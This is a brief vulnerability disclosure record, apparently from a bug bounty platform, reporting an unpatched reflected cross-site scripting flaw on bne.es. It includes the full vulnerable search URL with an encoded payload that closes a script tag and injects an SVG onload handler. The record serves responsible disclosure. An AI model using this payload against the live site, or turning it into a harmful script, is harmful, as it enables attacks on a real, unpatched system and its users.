bne.es XSS vulnerability

Vulnerable URL: http://www.bne.es/en/Busqueda/resultado.html?cx=008390202817838809661%3Aezzszwraciu=FORID%3A11&searchdata1;===false=todos&sa.x;=45&sa.y;=14=on=1%22--%3E%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%3Bconfirm%2FOPENBUGBOUNTY%2F%3B%27%3E= Details: Description| Value ---|--- Patched:| No Late...